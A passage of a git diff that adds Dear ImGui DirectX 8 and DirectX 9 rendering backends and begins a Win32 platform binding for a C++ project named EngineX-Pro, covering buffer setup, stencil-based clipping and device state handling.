draw_data->TotalVtxCount + 5000; + if (g_pd3dDevice->CreateVertexBuffer(g_VertexBufferSize * sizeof(CUSTOMVERTEX), D3DUSAGE_DYNAMIC | D3DUSAGE_WRITEONLY, D3DFVF_CUSTOMVERTEX, D3DPOOL_DEFAULT, &g_pVB) < 0) + return; + } + if (!g_pIB || g_IndexBufferSize < draw_data->TotalIdxCount) + { + if (g_pIB) { g_pIB->Release(); g_pIB = NULL; } + g_IndexBufferSize = draw_data->TotalIdxCount + 10000; + if (g_pd3dDevice->CreateIndexBuffer(g_IndexBufferSize * sizeof(ImDrawIdx), D3DUSAGE_DYNAMIC | D3DUSAGE_WRITEONLY, sizeof(ImDrawIdx) == 2 ? D3DFMT_INDEX16 : D3DFMT_INDEX32, D3DPOOL_DEFAULT, &g_pIB) < 0) + return; + } + if (!g_maskVB && !g_maskIB) { + if (g_pd3dDevice->CreateVertexBuffer(6 * sizeof(CUSTOMVERTEX), D3DUSAGE_DYNAMIC | D3DUSAGE_WRITEONLY, D3DFVF_CUSTOMVERTEX, D3DPOOL_DEFAULT, &g_maskVB) < 0) return; + if (g_pd3dDevice->CreateIndexBuffer(6, D3DUSAGE_DYNAMIC | D3DUSAGE_WRITEONLY, sizeof(ImDrawIdx) == 2 ? D3DFMT_INDEX16 : D3DFMT_INDEX32, D3DPOOL_DEFAULT, &g_maskIB) < 0) return; + ImDrawIdx* idx_dst; + g_maskIB->Lock(0, 6 * sizeof(ImDrawIdx), (BYTE**)&idx_dst, D3DLOCK_DISCARD); + idx_dst[0] = 0; + idx_dst[1] = 1; + idx_dst[2] = 2; + idx_dst[3] = 0; + idx_dst[4] = 2; + idx_dst[5] = 3; + g_maskIB->Unlock(); + } + // Backup the DX8 state + DWORD stateBlockToken = 0; + if (g_pd3dDevice->CreateStateBlock(D3DSBT_ALL, &stateBlockToken) < 0) return; + /* IDirect3DStateBlock9* d3d9_state_block = NULL; + if (g_pd3dDevice->CreateStateBlock(D3DSBT_ALL, &d3d9_state_block) < 0) + return;*/ + + // Backup the DX8 transform (DX8 documentation suggests that it is included in the StateBlock but it doesn't appear to) + D3DMATRIX last_world, last_view, last_projection;//new + g_pd3dDevice->GetTransform(D3DTS_WORLD, &last_world);//new + g_pd3dDevice->GetTransform(D3DTS_VIEW, &last_view);//new + g_pd3dDevice->GetTransform(D3DTS_PROJECTION, &last_projection);//new + + // Copy and convert all vertices into a single contiguous buffer, convert colors to DX8 default format. + // FIXME-OPT: This is a waste of resource, the ideal is to use imconfig.h and + // 1) to avoid repacking colors: #define IMGUI_USE_BGRA_PACKED_COLOR + // 2) to avoid repacking vertices: #define IMGUI_OVERRIDE_DRAWVERT_STRUCT_LAYOUT struct ImDrawVert { ImVec2 pos; float z; ImU32 col; ImVec2 uv; } + CUSTOMVERTEX* vtx_dst; + ImDrawIdx* idx_dst; + if (g_pVB->Lock(0, (UINT)(draw_data->TotalVtxCount * sizeof(CUSTOMVERTEX)), (BYTE**)&vtx_dst, D3DLOCK_DISCARD) < 0) + return; + if (g_pIB->Lock(0, (UINT)(draw_data->TotalIdxCount * sizeof(ImDrawIdx)), (BYTE**)&idx_dst, D3DLOCK_DISCARD) < 0) + return; + for (int n = 0; n < draw_data->CmdListsCount; n++) + { + const ImDrawList* cmd_list = draw_data->CmdLists[n]; + const ImDrawVert* vtx_src = cmd_list->VtxBuffer.Data; + for (int i = 0; i < cmd_list->VtxBuffer.Size; i++) + { + vtx_dst->pos[0] = vtx_src->pos.x; + vtx_dst->pos[1] = vtx_src->pos.y; + vtx_dst->pos[2] = 0.0f; + vtx_dst->col = (vtx_src->col & 0xFF00FF00) | ((vtx_src->col & 0xFF0000) >> 16) | ((vtx_src->col & 0xFF) << 16); // RGBA --> ARGB for DirectX9 + vtx_dst->uv[0] = vtx_src->uv.x; + vtx_dst->uv[1] = vtx_src->uv.y; + vtx_dst++; + vtx_src++; + } + memcpy(idx_dst, cmd_list->IdxBuffer.Data, cmd_list->IdxBuffer.Size * sizeof(ImDrawIdx)); + idx_dst += cmd_list->IdxBuffer.Size; + } + g_pVB->Unlock(); + g_pIB->Unlock(); + g_pd3dDevice->SetStreamSource(0, g_pVB, sizeof(CUSTOMVERTEX)); + g_pd3dDevice->SetIndices(g_pIB, 0); + g_pd3dDevice->SetVertexShader(D3DFVF_CUSTOMVERTEX);//new + + // Setup desired DX state + ImGui_ImplDX8_SetupRenderState(draw_data); + + // Render command lists + // (Because we merged all buffers into a single one, we maintain our own offset into them) + int global_vtx_offset = 0; + int global_idx_offset = 0; + ImVec2 clip_off = draw_data->DisplayPos; + for (int n = 0; n < draw_data->CmdListsCount; n++) + { + const ImDrawList* cmd_list = draw_data->CmdLists[n]; + for (int cmd_i = 0; cmd_i < cmd_list->CmdBuffer.Size; cmd_i++) + { + const ImDrawCmd* pcmd = &cmd_list->CmdBuffer[cmd_i]; + if (pcmd->UserCallback != NULL) + { + // User callback, registered via ImDrawList::AddCallback() + // (ImDrawCallback_ResetRenderState is a special callback value used by the user to request the renderer to reset render state.) + if (pcmd->UserCallback == ImDrawCallback_ResetRenderState) + ImGui_ImplDX8_SetupRenderState(draw_data); + else + pcmd->UserCallback(cmd_list, pcmd); + } + else + { + const RECT r = { (LONG)(pcmd->ClipRect.x - clip_off.x), (LONG)(pcmd->ClipRect.y - clip_off.y), (LONG)(pcmd->ClipRect.z - clip_off.x), (LONG)(pcmd->ClipRect.w - clip_off.y) }; + const LPDIRECT3DTEXTURE8 texture = (LPDIRECT3DTEXTURE8)pcmd->TextureId; + g_pd3dDevice->SetTexture(0, texture); + build_mask_vbuffer(&r); + g_pd3dDevice->SetRenderState(D3DRS_COLORWRITEENABLE, 0); + g_pd3dDevice->SetRenderState(D3DRS_ZENABLE, true); + g_pd3dDevice->SetRenderState(D3DRS_STENCILENABLE, true); + g_pd3dDevice->SetRenderState(D3DRS_STENCILWRITEMASK, 0xFF); + g_pd3dDevice->SetRenderState(D3DRS_STENCILMASK, 0xFF); + g_pd3dDevice->SetRenderState(D3DRS_STENCILFUNC, D3DCMP_ALWAYS); + g_pd3dDevice->SetRenderState(D3DRS_ZFUNC, D3DCMP_ALWAYS); + g_pd3dDevice->SetRenderState(D3DRS_STENCILPASS, D3DSTENCILOP_REPLACE); + g_pd3dDevice->SetRenderState(D3DRS_STENCILREF, 0xFF); + g_pd3dDevice->Clear(0, NULL, D3DCLEAR_STENCIL, 0, 1.0f, 0); + g_pd3dDevice->SetStreamSource(0, g_maskVB, sizeof(CUSTOMVERTEX)); + g_pd3dDevice->SetIndices(g_maskIB, 0); + g_pd3dDevice->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, 4, 0, 2);//new + g_pd3dDevice->DrawPrimitive(D3DPT_TRIANGLELIST, 0, 2); + g_pd3dDevice->SetStreamSource(0, g_pVB, sizeof(CUSTOMVERTEX)); + g_pd3dDevice->SetIndices(g_pIB, global_vtx_offset); + g_pd3dDevice->SetRenderState(D3DRS_COLORWRITEENABLE, 0xF); + g_pd3dDevice->SetRenderState(D3DRS_ZENABLE, false); + g_pd3dDevice->SetRenderState(D3DRS_STENCILENABLE, true); + g_pd3dDevice->SetRenderState(D3DRS_STENCILWRITEMASK, 0); + g_pd3dDevice->SetRenderState(D3DRS_STENCILMASK, 0xFF); + g_pd3dDevice->SetRenderState(D3DRS_STENCILFUNC, D3DCMP_EQUAL); + g_pd3dDevice->SetRenderState(D3DRS_STENCILFAIL, D3DSTENCILOP_KEEP); + g_pd3dDevice->SetRenderState(D3DRS_STENCILPASS, D3DSTENCILOP_KEEP); + g_pd3dDevice->SetRenderState(D3DRS_STENCILREF, 0xFF); + //g_pd3dDevice->SetScissorRect(&r); + g_pd3dDevice->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, (UINT)cmd_list->VtxBuffer.Size, pcmd->IdxOffset + global_idx_offset, pcmd->ElemCount / 3); + } + } + global_idx_offset += cmd_list->IdxBuffer.Size; + global_vtx_offset += cmd_list->VtxBuffer.Size; + } + + // Restore the DX8 transform + g_pd3dDevice->SetTransform(D3DTS_WORLD, &last_world);//new + g_pd3dDevice->SetTransform(D3DTS_VIEW, &last_view);//new + g_pd3dDevice->SetTransform(D3DTS_PROJECTION, &last_projection);//new + + // Restore the DX8 state + // d3d9_state_block->Apply(); + // d3d9_state_block->Release(); + g_pd3dDevice->SetRenderTarget(nullptr, realDepthStencilBuffer); + g_pd3dDevice->ApplyStateBlock(stateBlockToken); + g_pd3dDevice->DeleteStateBlock(stateBlockToken); + } + catch (...) + { + + } +} + +bool ImGui_ImplDX8_Init(IDirect3DDevice8* device) +{ + // Setup back-end capabilities flags + ImGuiIO& io = ImGui::GetIO(); + io.BackendRendererName = "cf0f1aa24cbb7951ebcf8dbda5f80855eba60fc7"; + io.BackendFlags |= ImGuiBackendFlags_RendererHasVtxOffset; // We can honor the ImDrawCmd::VtxOffset field, allowing for large meshes. + + g_pd3dDevice = device; + g_pd3dDevice->AddRef(); + return true; +} + +void ImGui_ImplDX8_Shutdown() +{ + ImGui_ImplDX8_InvalidateDeviceObjects(); + if (g_pd3dDevice) { g_pd3dDevice->Release(); g_pd3dDevice = NULL; } +} + +static bool ImGui_ImplDX8_CreateFontsTexture() +{ + // Build texture atlas + ImGuiIO& io = ImGui::GetIO(); + unsigned char* pixels; + int width, height, BYTEs_per_pixel; + io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height, &BYTEs_per_pixel); + + // Upload texture to graphics system + g_FontTexture = NULL; + if (g_pd3dDevice->CreateTexture(width, height, 1, D3DUSAGE_DYNAMIC, D3DFMT_A8R8G8B8, D3DPOOL_DEFAULT, &g_FontTexture) < 0) + return false; + D3DLOCKED_RECT tex_locked_rect; + if (g_FontTexture->LockRect(0, &tex_locked_rect, NULL, 0) != D3D_OK) + return false; + for (int y = 0; y < height; y++) + memcpy((unsigned char *)tex_locked_rect.pBits + tex_locked_rect.Pitch * y, pixels + (width * BYTEs_per_pixel) * y, (width * BYTEs_per_pixel)); + g_FontTexture->UnlockRect(0); + + // Store our identifier + io.Fonts->TexID = (ImTextureID)g_FontTexture; + + return true; +} + +static bool ImGui_ImplD3D8_CreateDepthStencilBuffer() { + if (g_pd3dDevice == nullptr) { + return false; + } + if (g_DepthBuffer == nullptr) { + IDirect3DSurface8* realDepth; + D3DSURFACE_DESC sfcDesc; + + g_pd3dDevice->GetDepthStencilSurface(&realDepth); + if (realDepth->GetDesc(&sfcDesc)) { + return false; + } + if (g_pd3dDevice->CreateDepthStencilSurface(sfcDesc.Width, sfcDesc.Height, D3DFMT_D24S8, D3DMULTISAMPLE_NONE, &g_DepthBuffer)) { + return false; + } + } + + return true; +} + + +bool ImGui_ImplDX8_CreateDeviceObjects() +{ + if (!g_pd3dDevice) + return false; + if (!ImGui_ImplDX8_CreateFontsTexture()) + return false; + if (!ImGui_ImplD3D8_CreateDepthStencilBuffer()) { + return false; + } + return true; +} + +void ImGui_ImplDX8_InvalidateDeviceObjects() +{ + if (!g_pd3dDevice) + return; + if (g_pVB) + { + g_pVB->Release(); + g_pVB = NULL; + } + if (g_pIB) + { + g_pIB->Release(); + g_pIB = NULL; + } + if (g_maskVB) { + g_maskVB->Release(); + g_maskVB = nullptr; + } + if (g_maskIB) { + g_maskIB->Release(); + g_maskIB = nullptr; + } + if (g_DepthBuffer) { + g_DepthBuffer->Release(); + g_DepthBuffer = nullptr; + } + if (g_FontTexture) { g_FontTexture->Release(); g_FontTexture = NULL; ImGui::GetIO().Fonts->TexID = NULL; } + //if (LPDIRECT3DTEXTURE8 tex = (LPDIRECT3DTEXTURE8)ImGui::GetIO().Fonts->TexID) + //{ + // tex->Release(); + // g_FontTexture = NULL; + // ImGui::GetIO().Fonts->TexID = 0; + //} +} + +void ImGui_ImplDX8_NewFrame() +{ + if(!g_FontTexture || !g_DepthBuffer) + ImGui_ImplDX8_CreateDeviceObjects(); +} diff --git a/EngineX-Pro/ImGui/imgui_impl_dx8.h b/EngineX-Pro/ImGui/imgui_impl_dx8.h new file mode 100644 index 0000000..051b079 --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_impl_dx8.h @@ -0,0 +1,23 @@ +// dear imgui: Renderer for DirectX9 +// This needs to be used along with a Platform Binding (e.g. Win32) + +// Implemented features: +// [X] Renderer: User texture binding. Use 'LPDIRECT3DTEXTURE9' as ImTextureID. Read the FAQ about ImTextureID! +// [X] Renderer: Support for large meshes (64k+ vertices) with 16-bit indices. + +// You can copy and use unmodified imgui_impl_* files in your project. See main.cpp for an example of using this. +// If you are new to dear imgui, read examples/README.txt and read the documentation at the top of imgui.cpp. +// https://github.com/ocornut/imgui + +#pragma once + +//struct IDirect3DDevice9; +struct IDirect3DDevice8; +IMGUI_IMPL_API bool ImGui_ImplDX8_Init(IDirect3DDevice8* device); +IMGUI_IMPL_API void ImGui_ImplDX8_Shutdown(); +IMGUI_IMPL_API void ImGui_ImplDX8_NewFrame(); +IMGUI_IMPL_API void ImGui_ImplDX8_RenderDrawData(ImDrawData* draw_data); + +// Use if you want to reset your rendering device without losing ImGui state. +IMGUI_IMPL_API bool ImGui_ImplDX8_CreateDeviceObjects(); +IMGUI_IMPL_API void ImGui_ImplDX8_InvalidateDeviceObjects(); diff --git a/EngineX-Pro/ImGui/imgui_impl_dx9.cpp b/EngineX-Pro/ImGui/imgui_impl_dx9.cpp new file mode 100644 index 0000000..6f978b1 --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_impl_dx9.cpp @@ -0,0 +1,284 @@ +// dear imgui: Renderer for DirectX9 +// This needs to be used along with a Platform Binding (e.g. Win32) + +// Implemented features: +// [X] Renderer: User texture binding. Use 'LPDIRECT3DTEXTURE9' as ImTextureID. Read the FAQ about ImTextureID! +// [X] Renderer: Support for large meshes (64k+ vertices) with 16-bit indices. + +// You can copy and use unmodified imgui_impl_* files in your project. See main.cpp for an example of using this. +// If you are new to dear imgui, read examples/README.txt and read the documentation at the top of imgui.cpp. +// https://github.com/ocornut/imgui + +// CHANGELOG +// (minor and older changes stripped away, please see git history for details) +// 2019-05-29: DirectX9: Added support for large mesh (64K+ vertices), enable ImGuiBackendFlags_RendererHasVtxOffset flag. +// 2019-04-30: DirectX9: Added support for special ImDrawCallback_ResetRenderState callback to reset render state. +// 2019-03-29: Misc: Fixed erroneous assert in ImGui_ImplDX9_InvalidateDeviceObjects(). +// 2019-01-16: Misc: Disabled fog before drawing UI's. Fixes issue #2288. +// 2018-11-30: Misc: Setting up io.BackendRendererName so it can be displayed in the About Window. +// 2018-06-08: Misc: Extracted imgui_impl_dx9.cpp/.h away from the old combined DX9+Win32 example. +// 2018-06-08: DirectX9: Use draw_data->DisplayPos and draw_data->DisplaySize to setup projection matrix and clipping rectangle. +// 2018-05-07: Render: Saving/restoring Transform because they don't seem to be included in the StateBlock. Setting shading mode to Gouraud. +// 2018-02-16: Misc: Obsoleted the io.RenderDrawListsFn callback and exposed ImGui_ImplDX9_RenderDrawData() in the .h file so you can call it yourself. +// 2018-02-06: Misc: Removed call to ImGui::Shutdown() which is not available from 1.60 WIP, user needs to call CreateContext/DestroyContext themselves. + +#include "imgui.h" +#include "imgui_impl_dx9.h" +#include "..//xorstr.hpp" +// DirectX +#include +#define DIRECTINPUT_VERSION 0x0800 +#include + +// DirectX data +static LPDIRECT3DDEVICE9 g_pd3dDevice = NULL; +static LPDIRECT3DVERTEXBUFFER9 g_pVB = NULL; +static LPDIRECT3DINDEXBUFFER9 g_pIB = NULL; +static LPDIRECT3DTEXTURE9 g_FontTexture = NULL; +static int g_VertexBufferSize = 5000, g_IndexBufferSize = 10000; + +struct CUSTOMVERTEX +{ + float pos[3]; + D3DCOLOR col; + float uv[2]; +}; +#define D3DFVF_CUSTOMVERTEX (D3DFVF_XYZ|D3DFVF_DIFFUSE|D3DFVF_TEX1) + +static void ImGui_ImplDX9_SetupRenderState(ImDrawData* draw_data) +{ + // Setup viewport + D3DVIEWPORT9 vp; + vp.X = vp.Y = 0; + vp.Width = (DWORD)draw_data->DisplaySize.x; + vp.Height = (DWORD)draw_data->DisplaySize.y; + vp.MinZ = 0.0f; + vp.MaxZ = 1.0f; + g_pd3dDevice->SetViewport(&vp); + + // Setup render state: fixed-pipeline, alpha-blending, no face culling, no depth testing, shade mode (for gradient) + g_pd3dDevice->SetPixelShader(NULL); + g_pd3dDevice->SetVertexShader(NULL); + g_pd3dDevice->SetRenderState(D3DRS_CULLMODE, D3DCULL_NONE); + g_pd3dDevice->SetRenderState(D3DRS_LIGHTING, FALSE); + g_pd3dDevice->SetRenderState(D3DRS_ZENABLE, FALSE); + g_pd3dDevice->SetRenderState(D3DRS_ALPHABLENDENABLE, TRUE); + g_pd3dDevice->SetRenderState(D3DRS_ALPHATESTENABLE, FALSE); + g_pd3dDevice->SetRenderState(D3DRS_BLENDOP, D3DBLENDOP_ADD); + g_pd3dDevice->SetRenderState(D3DRS_SRCBLEND, D3DBLEND_SRCALPHA); + g_pd3dDevice->SetRenderState(D3DRS_DESTBLEND, D3DBLEND_INVSRCALPHA); + g_pd3dDevice->SetRenderState(D3DRS_SCISSORTESTENABLE, TRUE); + g_pd3dDevice->SetRenderState(D3DRS_SHADEMODE, D3DSHADE_GOURAUD); + g_pd3dDevice->SetRenderState(D3DRS_FOGENABLE, FALSE); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_COLOROP, D3DTOP_MODULATE); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_COLORARG1, D3DTA_TEXTURE); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_COLORARG2, D3DTA_DIFFUSE); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_ALPHAOP, D3DTOP_MODULATE); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_ALPHAARG1, D3DTA_TEXTURE); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_ALPHAARG2, D3DTA_DIFFUSE); + g_pd3dDevice->SetSamplerState(0, D3DSAMP_MINFILTER, D3DTEXF_LINEAR); + g_pd3dDevice->SetSamplerState(0, D3DSAMP_MAGFILTER, D3DTEXF_LINEAR); + + // Setup orthographic projection matrix + // Our visible imgui space lies from draw_data->DisplayPos (top left) to draw_data->DisplayPos+data_data->DisplaySize (bottom right). DisplayPos is (0,0) for single viewport apps. + // Being agnostic of whether or can be used, we aren't relying on D3DXMatrixIdentity()/D3DXMatrixOrthoOffCenterLH() or DirectX::XMMatrixIdentity()/DirectX::XMMatrixOrthographicOffCenterLH() + { + float L = draw_data->DisplayPos.x + 0.5f; + float R = draw_data->DisplayPos.x + draw_data->DisplaySize.x + 0.5f; + float T = draw_data->DisplayPos.y + 0.5f; + float B = draw_data->DisplayPos.y + draw_data->DisplaySize.y + 0.5f; + D3DMATRIX mat_identity = { { { 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f } } }; + D3DMATRIX mat_projection = + { { { + 2.0f/(R-L), 0.0f, 0.0f, 0.0f, + 0.0f, 2.0f/(T-B), 0.0f, 0.0f, + 0.0f, 0.0f, 0.5f, 0.0f, + (L+R)/(L-R), (T+B)/(B-T), 0.5f, 1.0f + } } }; + g_pd3dDevice->SetTransform(D3DTS_WORLD, &mat_identity); + g_pd3dDevice->SetTransform(D3DTS_VIEW, &mat_identity); + g_pd3dDevice->SetTransform(D3DTS_PROJECTION, &mat_projection); + } +} + +// Render function. +// (this used to be set in io.RenderDrawListsFn and called by ImGui::Render(), but you can now call this directly from your main loop) +void ImGui_ImplDX9_RenderDrawData(ImDrawData* draw_data) +{ + // Avoid rendering when minimized + if (draw_data->DisplaySize.x <= 0.0f || draw_data->DisplaySize.y <= 0.0f) + return; + + // Create and grow buffers if needed + if (!g_pVB || g_VertexBufferSize < draw_data->TotalVtxCount) + { + if (g_pVB) { g_pVB->Release(); g_pVB = NULL; } + g_VertexBufferSize = draw_data->TotalVtxCount + 5000; + if (g_pd3dDevice->CreateVertexBuffer(g_VertexBufferSize * sizeof(CUSTOMVERTEX), D3DUSAGE_DYNAMIC | D3DUSAGE_WRITEONLY, D3DFVF_CUSTOMVERTEX, D3DPOOL_DEFAULT, &g_pVB, NULL) < 0) + return; + } + if (!g_pIB || g_IndexBufferSize < draw_data->TotalIdxCount) + { + if (g_pIB) { g_pIB->Release(); g_pIB = NULL; } + g_IndexBufferSize = draw_data->TotalIdxCount + 10000; + if (g_pd3dDevice->CreateIndexBuffer(g_IndexBufferSize * sizeof(ImDrawIdx), D3DUSAGE_DYNAMIC | D3DUSAGE_WRITEONLY, sizeof(ImDrawIdx) == 2 ? D3DFMT_INDEX16 : D3DFMT_INDEX32, D3DPOOL_DEFAULT, &g_pIB, NULL) < 0) + return; + } + + // Backup the DX9 state + IDirect3DStateBlock9* d3d9_state_block = NULL; + if (g_pd3dDevice->CreateStateBlock(D3DSBT_ALL, &d3d9_state_block) < 0) + return; + + // Backup the DX9 transform (DX9 documentation suggests that it is included in the StateBlock but it doesn't appear to) + D3DMATRIX last_world, last_view, last_projection; + g_pd3dDevice->GetTransform(D3DTS_WORLD, &last_world); + g_pd3dDevice->GetTransform(D3DTS_VIEW, &last_view); + g_pd3dDevice->GetTransform(D3DTS_PROJECTION, &last_projection); + + // Copy and convert all vertices into a single contiguous buffer, convert colors to DX9 default format. + // FIXME-OPT: This is a waste of resource, the ideal is to use imconfig.h and + // 1) to avoid repacking colors: #define IMGUI_USE_BGRA_PACKED_COLOR + // 2) to avoid repacking vertices: #define IMGUI_OVERRIDE_DRAWVERT_STRUCT_LAYOUT struct ImDrawVert { ImVec2 pos; float z; ImU32 col; ImVec2 uv; } + CUSTOMVERTEX* vtx_dst; + ImDrawIdx* idx_dst; + if (g_pVB->Lock(0, (UINT)(draw_data->TotalVtxCount * sizeof(CUSTOMVERTEX)), (void**)&vtx_dst, D3DLOCK_DISCARD) < 0) + return; + if (g_pIB->Lock(0, (UINT)(draw_data->TotalIdxCount * sizeof(ImDrawIdx)), (void**)&idx_dst, D3DLOCK_DISCARD) < 0) + return; + for (int n = 0; n < draw_data->CmdListsCount; n++) + { + const ImDrawList* cmd_list = draw_data->CmdLists[n]; + const ImDrawVert* vtx_src = cmd_list->VtxBuffer.Data; + for (int i = 0; i < cmd_list->VtxBuffer.Size; i++) + { + vtx_dst->pos[0] = vtx_src->pos.x; + vtx_dst->pos[1] = vtx_src->pos.y; + vtx_dst->pos[2] = 0.0f; + vtx_dst->col = (vtx_src->col & 0xFF00FF00) | ((vtx_src->col & 0xFF0000) >> 16) | ((vtx_src->col & 0xFF) << 16); // RGBA --> ARGB for DirectX9 + vtx_dst->uv[0] = vtx_src->uv.x; + vtx_dst->uv[1] = vtx_src->uv.y; + vtx_dst++; + vtx_src++; + } + memcpy(idx_dst, cmd_list->IdxBuffer.Data, cmd_list->IdxBuffer.Size * sizeof(ImDrawIdx)); + idx_dst += cmd_list->IdxBuffer.Size; + } + g_pVB->Unlock(); + g_pIB->Unlock(); + g_pd3dDevice->SetStreamSource(0, g_pVB, 0, sizeof(CUSTOMVERTEX)); + g_pd3dDevice->SetIndices(g_pIB); + g_pd3dDevice->SetFVF(D3DFVF_CUSTOMVERTEX); + + // Setup desired DX state + ImGui_ImplDX9_SetupRenderState(draw_data); + + // Render command lists + // (Because we merged all buffers into a single one, we maintain our own offset into them) + int global_vtx_offset = 0; + int global_idx_offset = 0; + ImVec2 clip_off = draw_data->DisplayPos; + for (int n = 0; n < draw_data->CmdListsCount; n++) + { + const ImDrawList* cmd_list = draw_data->CmdLists[n]; + for (int cmd_i = 0; cmd_i < cmd_list->CmdBuffer.Size; cmd_i++) + { + const ImDrawCmd* pcmd = &cmd_list->CmdBuffer[cmd_i]; + if (pcmd->UserCallback != NULL) + { + // User callback, registered via ImDrawList::AddCallback() + // (ImDrawCallback_ResetRenderState is a special callback value used by the user to request the renderer to reset render state.) + if (pcmd->UserCallback == ImDrawCallback_ResetRenderState) + ImGui_ImplDX9_SetupRenderState(draw_data); + else + pcmd->UserCallback(cmd_list, pcmd); + } + else + { + const RECT r = { (LONG)(pcmd->ClipRect.x - clip_off.x), (LONG)(pcmd->ClipRect.y - clip_off.y), (LONG)(pcmd->ClipRect.z - clip_off.x), (LONG)(pcmd->ClipRect.w - clip_off.y) }; + const LPDIRECT3DTEXTURE9 texture = (LPDIRECT3DTEXTURE9)pcmd->TextureId; + g_pd3dDevice->SetTexture(0, texture); + g_pd3dDevice->SetScissorRect(&r); + g_pd3dDevice->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, pcmd->VtxOffset + global_vtx_offset, 0, (UINT)cmd_list->VtxBuffer.Size, pcmd->IdxOffset + global_idx_offset, pcmd->ElemCount / 3); + } + } + global_idx_offset += cmd_list->IdxBuffer.Size; + global_vtx_offset += cmd_list->VtxBuffer.Size; + } + + // Restore the DX9 transform + g_pd3dDevice->SetTransform(D3DTS_WORLD, &last_world); + g_pd3dDevice->SetTransform(D3DTS_VIEW, &last_view); + g_pd3dDevice->SetTransform(D3DTS_PROJECTION, &last_projection); + + // Restore the DX9 state + d3d9_state_block->Apply(); + d3d9_state_block->Release(); +} + +bool ImGui_ImplDX9_Init(IDirect3DDevice9* device) +{ + // Setup back-end capabilities flags + ImGuiIO& io = ImGui::GetIO(); + io.BackendRendererName = XOR("imgui_impl_dx9"); + io.BackendFlags |= ImGuiBackendFlags_RendererHasVtxOffset; // We can honor the ImDrawCmd::VtxOffset field, allowing for large meshes. + + g_pd3dDevice = device; + g_pd3dDevice->AddRef(); + return true; +} + +void ImGui_ImplDX9_Shutdown() +{ + ImGui_ImplDX9_InvalidateDeviceObjects(); + if (g_pd3dDevice) { g_pd3dDevice->Release(); g_pd3dDevice = NULL; } +} + +static bool ImGui_ImplDX9_CreateFontsTexture() +{ + // Build texture atlas + ImGuiIO& io = ImGui::GetIO(); + unsigned char* pixels; + int width, height, bytes_per_pixel; + io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height, &bytes_per_pixel); + + // Upload texture to graphics system + g_FontTexture = NULL; + if (g_pd3dDevice->CreateTexture(width, height, 1, D3DUSAGE_DYNAMIC, D3DFMT_A8R8G8B8, D3DPOOL_DEFAULT, &g_FontTexture, NULL) < 0) + return false; + D3DLOCKED_RECT tex_locked_rect; + if (g_FontTexture->LockRect(0, &tex_locked_rect, NULL, 0) != D3D_OK) + return false; + for (int y = 0; y < height; y++) + memcpy((unsigned char*)tex_locked_rect.pBits + tex_locked_rect.Pitch * y, pixels + (width * bytes_per_pixel) * y, (width * bytes_per_pixel)); + g_FontTexture->UnlockRect(0); + + // Store our identifier + io.Fonts->TexID = (ImTextureID)g_FontTexture; + + return true; +} + +bool ImGui_ImplDX9_CreateDeviceObjects() +{ + if (!g_pd3dDevice) + return false; + if (!ImGui_ImplDX9_CreateFontsTexture()) + return false; + return true; +} + +void ImGui_ImplDX9_InvalidateDeviceObjects() +{ + if (!g_pd3dDevice) + return; + if (g_pVB) { g_pVB->Release(); g_pVB = NULL; } + if (g_pIB) { g_pIB->Release(); g_pIB = NULL; } + if (g_FontTexture) { g_FontTexture->Release(); g_FontTexture = NULL; ImGui::GetIO().Fonts->TexID = NULL; } // We copied g_pFontTextureView to io.Fonts->TexID so let's clear that as well. +} + +void ImGui_ImplDX9_NewFrame() +{ + if (!g_FontTexture) + ImGui_ImplDX9_CreateDeviceObjects(); +} diff --git a/EngineX-Pro/ImGui/imgui_impl_dx9.h b/EngineX-Pro/ImGui/imgui_impl_dx9.h new file mode 100644 index 0000000..b93c89f --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_impl_dx9.h @@ -0,0 +1,24 @@ +// dear imgui: Renderer for DirectX9 +// This needs to be used along with a Platform Binding (e.g. Win32) + +// Implemented features: +// [X] Renderer: User texture binding. Use 'LPDIRECT3DTEXTURE9' as ImTextureID. Read the FAQ about ImTextureID! +// [X] Renderer: Support for large meshes (64k+ vertices) with 16-bit indices. + +// You can copy and use unmodified imgui_impl_* files in your project. See main.cpp for an example of using this. +// If you are new to dear imgui, read examples/README.txt and read the documentation at the top of imgui.cpp. +// https://github.com/ocornut/imgui + +#pragma once +#include "imgui.h" // IMGUI_IMPL_API + +struct IDirect3DDevice9; + +IMGUI_IMPL_API bool ImGui_ImplDX9_Init(IDirect3DDevice9* device); +IMGUI_IMPL_API void ImGui_ImplDX9_Shutdown(); +IMGUI_IMPL_API void ImGui_ImplDX9_NewFrame(); +IMGUI_IMPL_API void ImGui_ImplDX9_RenderDrawData(ImDrawData* draw_data); + +// Use if you want to reset your rendering device without losing Dear ImGui state. +IMGUI_IMPL_API bool ImGui_ImplDX9_CreateDeviceObjects(); +IMGUI_IMPL_API void ImGui_ImplDX9_InvalidateDeviceObjects(); diff --git a/EngineX-Pro/ImGui/imgui_impl_win32.cpp b/EngineX-Pro/ImGui/imgui_impl_win32.cpp new file mode 100644 index 0000000..ce9747c --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_impl_win32.cpp @@ -0,0 +1,447 @@ +// dear imgui: Platform Binding for Windows (standard windows API for 32 and 64 bits applications) +// This needs to be used along with a Renderer (e.g. DirectX11, OpenGL3, Vulkan..) + +// Implemented features: +// [X] Platform: Clipboard support (for Win32 this is actually part of core dear imgui) +// [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'. +// [X] Platform: Keyboard arrays indexed using VK_* Virtual Key Codes, e.g. ImGui::IsKeyPressed(VK_SPACE). +// [X] Platform: Gamepad support. Enabled with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'. + +#include "imgui.h" +#include "imgui_impl_win32.h" +#ifndef WIN32_LEAN_AND_MEAN +#define 